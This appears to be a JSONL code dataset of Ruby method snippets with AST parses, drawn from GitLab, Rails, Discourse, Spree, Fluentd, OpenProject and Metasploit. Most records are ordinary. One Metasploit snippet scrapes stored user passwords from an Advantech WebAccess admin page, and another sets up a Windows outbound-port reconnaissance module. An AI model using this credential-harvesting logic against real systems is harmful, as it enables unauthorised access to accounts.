{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/work_package_datepicker.rb","start_line":133,"raw_source":"def expect_duration_highlighted\n      expect(container).to have_css('[data-test-selector=\"op-datepicker-modal--duration-field\"][data-qa-highlighted]')\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_duration_highlighted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-datepicker-modal--duration-field\\\"][data-qa-highlighted]\"]}]}]}]}","id":"dcab9155-8ed0-4486-b19b-a4d5ba7c78c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/fork_targets_finder.rb","start_line":31,"raw_source":"def fork_targets(options)\n    if options[:only_groups]\n      Groups::AcceptingProjectCreationsFinder.new(user).execute # rubocop: disable CodeReuse/Finder\n    else\n      user.forkable_namespaces.sort_by_type\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fork_targets\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Groups\"]},\"AcceptingProjectCreationsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"execute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"forkable_namespaces\"]},\"sort_by_type\"]}]}]}","id":"6df8645c-4542-4f1a-a43f-4504b6cce17e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin_helper/test_compat_parameters.rb","start_line":42,"raw_source":"def produce_events(input_data)\n      emit_events = [] # tag, time, record\n      @parser.parse(input_data) do |time, record|\n        tag = extract_tag_from_record(record) || 'dummy_tag'\n        emit_events << [tag, time, record]\n      end\n      emit_events\n    end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"produce_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"emit_events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"input_data\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_tag_from_record\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},{\"type\":\"str\",\"children\":[\"dummy_tag\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emit_events\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"emit_events\"]}]}]}","id":"402e2bb7-865a-47df-8984-d67478fa2f2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/webpack_helper.rb","start_line":6,"raw_source":"def prefetch_link_tag(source)\n    href = asset_path(source)\n\n    link_tag = tag.link(rel: 'prefetch', href: href)\n\n    early_hints_link = \"<#{href}>; rel=prefetch\"\n\n    request.send_early_hints(\"Link\" => early_hints_link)\n\n    link_tag\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prefetch_link_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"href\",{\"type\":\"send\",\"children\":[null,\"asset_path\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"link_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"link\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"prefetch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"lvar\",\"children\":[\"href\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"early_hints_link\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"href\"]}]},{\"type\":\"str\",\"children\":[\">; rel=prefetch\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"send_early_hints\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Link\"]},{\"type\":\"lvar\",\"children\":[\"early_hints_link\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"link_tag\"]}]}]}","id":"c974df1e-9438-4253-a952-8e4bd416a359"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rubocop/cop/lint/module_enforce_notes.rb","start_line":66,"raw_source":"def hash_arg?(node)\n          node.type == :hash\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash_arg?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"hash\"]}]}]}","id":"c19030bb-bd4f-4018-9abe-8cc704ec29c4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_logo_form.rb","start_line":24,"raw_source":"def has_form_field?(field)\n        page.has_css?(\"#control-#{field}\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_form_field?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#control-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]}]}]}]}","id":"d2429ae2-ea0f-4aad-b0d4-0badb473411d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/stub_version.rb","start_line":4,"raw_source":"def stub_version(version, revision)\n    stub_const('Gitlab::VERSION', version)\n    allow(Gitlab).to receive(:revision).and_return(revision)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_version\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"arg\",\"children\":[\"revision\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_const\",{\"type\":\"str\",\"children\":[\"Gitlab::VERSION\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Gitlab\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"revision\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"revision\"]}]}]}]}]}","id":"d986f510-08d7-455b-a94d-c89b893190ef"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_proc_result_cache.rb","start_line":50,"raw_source":"def test_accepts_multiple_arguments_for_functions\n    function = lambda { |year, month, day| Date.civil(year, month, day) + 1 }\n    year = 2016\n    month = 1\n    day = 1\n\n    assert_equal(Date.civil(2016, 1, 2), @subject.lookup(function, year, month, day))\n  end","complexity_score":13.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_accepts_multiple_arguments_for_functions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"function\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]},{\"type\":\"arg\",\"children\":[\"month\"]},{\"type\":\"arg\",\"children\":[\"day\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"lvar\",\"children\":[\"month\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"year\",{\"type\":\"int\",\"children\":[2016]}]},{\"type\":\"lvasgn\",\"children\":[\"month\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"day\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2016]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"lookup\",{\"type\":\"lvar\",\"children\":[\"function\"]},{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"lvar\",\"children\":[\"month\"]},{\"type\":\"lvar\",\"children\":[\"day\"]}]}]}]}]}","id":"cacb08ce-38ea-4ed9-a11a-60b428bce079"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/about_page_site_activity.rb","start_line":40,"raw_source":"def sign_ups\n        AboutPageSiteActivityItem.new(\n          container.find(\".about__activities-item.sign-ups\"),\n          translation_key: \"about.activities.sign_ups\",\n        )\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sign_ups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AboutPageSiteActivityItem\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"find\",{\"type\":\"str\",\"children\":[\".about__activities-item.sign-ups\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"translation_key\"]},{\"type\":\"str\",\"children\":[\"about.activities.sign_ups\"]}]}]}]}]}","id":"8c7350dd-436d-45b3-8171-2d15df85ba27"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/job_token_scope/allowlist_entry_type.rb","start_line":78,"raw_source":"def job_token_policies\n          object.job_token_policies - ::Ci::JobToken::Policies::DEPRECATED_POLICIES.map(&:to_s)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_token_policies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"job_token_policies\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"JobToken\"]},\"Policies\"]},\"DEPRECATED_POLICIES\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}","id":"7df084a3-0840-4b59-85ca-8100fd1c6fc2"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/products/find.rb","start_line":343,"raw_source":"def order_by_price(scope, sort_order)\n        scope.\n          joins(variants_including_master: :prices).\n          select(\"#{Spree::Product.table_name}.* , min(#{Spree::Price.table_name}.amount)\").\n          where(Spree::Price.table_name => { currency: currency }).\n          where.not(Spree::Price.table_name => { amount: nil }).\n          order(\"min(#{Spree::Price.table_name}.amount) #{sort_order}\").\n          group(\"#{Spree::Product.table_name}.id\")\n      end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"order_by_price\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"sort_order\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"joins\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variants_including_master\"]},{\"type\":\"sym\",\"children\":[\"prices\"]}]}]}]},\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Product\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".* , min(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Price\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".amount)\"]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Price\"]},\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"send\",\"children\":[null,\"currency\"]}]}]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Price\"]},\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},\"order\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"min(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Price\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".amount) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_order\"]}]}]}]},\"group\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Product\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".id\"]}]}]}]}","id":"d28dd617-3a0d-4f1e-86da-bc26cf66be30"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/advantech_webaccess_creds.rb","start_line":84,"raw_source":"def get_user_cred_detail(sid, user)\n    vprint_status(\"Gathering password for user: #{user}\")\n\n    uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'upAdminPg.asp')\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => uri,\n      'cookie' => sid,\n      'vars_get' => {\n        'uname' => user\n      }\n    })\n\n    unless res\n      print_error(\"Unable to gather password for user #{user} due to a connection timeout\")\n      return nil\n    end\n\n    html = res.get_html_document\n    pass_field = html.at('input[@name=\"Password\"]')\n\n    pass_field ? pass_field.attributes['value'].text : nil\n  end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_user_cred_detail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Gathering password for user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"broadWeb\"]},{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"upAdminPg.asp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"sid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uname\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to gather password for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" due to a connection timeout\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pass_field\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"at\",{\"type\":\"str\",\"children\":[\"input[@name=\\\"Password\\\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_field\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"text\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"211678b9-6222-402d-b593-6a7a36168d63"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":482,"raw_source":"def test_no_expires_now_with_conflicting_cache_control_headers\n    get :conditional_hello_without_expires_and_confliciting_cache_control_headers\n    assert_equal \"no-cache\", @response.headers[\"Cache-Control\"]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_expires_now_with_conflicting_cache_control_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"conditional_hello_without_expires_and_confliciting_cache_control_headers\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"no-cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]}]}]}","id":"4a986671-bf6c-49bf-ab06-867a99a98d1c"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/acceptance.rb","start_line":28,"raw_source":"def initialize(attributes)\n            @attributes = attributes.map(&:to_s)\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}","id":"d173fb13-0a3e-4ab9-a3c4-0fec4ebb1779"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/admin/jobs_controller.rb","start_line":15,"raw_source":"def cancel_all\n    Ci::Build.running_or_pending.each(&:cancel)\n\n    redirect_to admin_jobs_path, status: :see_other\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Build\"]},\"running_or_pending\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"cancel\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_jobs_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"see_other\"]}]}]}]}]}]}","id":"7abf9b79-5f89-40ca-8736-463e718b4488"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/stable_branch.rb","start_line":156,"raw_source":"def has_tier_3_label?\n        helper.mr_has_labels?('pipeline::tier-3')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_tier_3_label?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"mr_has_labels?\",{\"type\":\"str\",\"children\":[\"pipeline::tier-3\"]}]}]}","id":"10dfb167-3855-4758-832a-b527d8893e39"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/recon/outbound_ports.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Outbound-Filtering Rules',\n        'Description' => %q{\n          This module makes some kind of TCP traceroute to get outbound-filtering rules.\n          It will try to make a TCP connection to a certain public IP address (this IP\n          does not need to be under your control) using different TTL incremental values.\n          This way if you get an answer (ICMP TTL time exceeded packet) from a public IP\n          device you can infer that the destination port is allowed. Setting STOP to\n          true the module will stop as soon as you reach a public IP (this will generate\n          less noise in the network).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',\n        'Platform' => 'win',\n        'SessionTypes' => ['meterpreter'],\n        'References' => [\n          ['URL', 'http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html']\n        ],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_railgun_api\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptAddress.new('ADDRESS', [ true, 'Destination IP address.']),\n        OptInt.new('HOPS', [true, 'Number of hops to get.', 3]),\n        OptInt.new('MIN_TTL', [true, 'Starting TTL value.', 1]),\n        OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).', '80,443']),\n        OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]),\n        OptBool.new('STOP', [true, 'Stop when it finds a public IP.', true])\n      ]\n    )\n  end","complexity_score":12.25,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Outbound-Filtering Rules\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module makes some kind of TCP traceroute to get outbound-filtering rules.\\n\"]},{\"type\":\"str\",\"children\":[\"          It will try to make a TCP connection to a certain public IP address (this IP\\n\"]},{\"type\":\"str\",\"children\":[\"          does not need to be under your control) using different TTL incremental values.\\n\"]},{\"type\":\"str\",\"children\":[\"          This way if you get an answer (ICMP TTL time exceeded packet) from a public IP\\n\"]},{\"type\":\"str\",\"children\":[\"          device you can infer that the destination port is allowed. Setting STOP to\\n\"]},{\"type\":\"str\",\"children\":[\"          true the module will stop as soon as you reach a public IP (this will generate\\n\"]},{\"type\":\"str\",\"children\":[\"          less noise in the network).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Borja Merino <bmerinofe[at]gmail.com>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.shelliscoming.com/2014/11/getting-outbound-filtering-rules-by.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADDRESS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Destination IP address.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"HOPS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of hops to get.\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"MIN_TTL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Starting TTL value.\"]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PORTS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Ports to test (e.g. 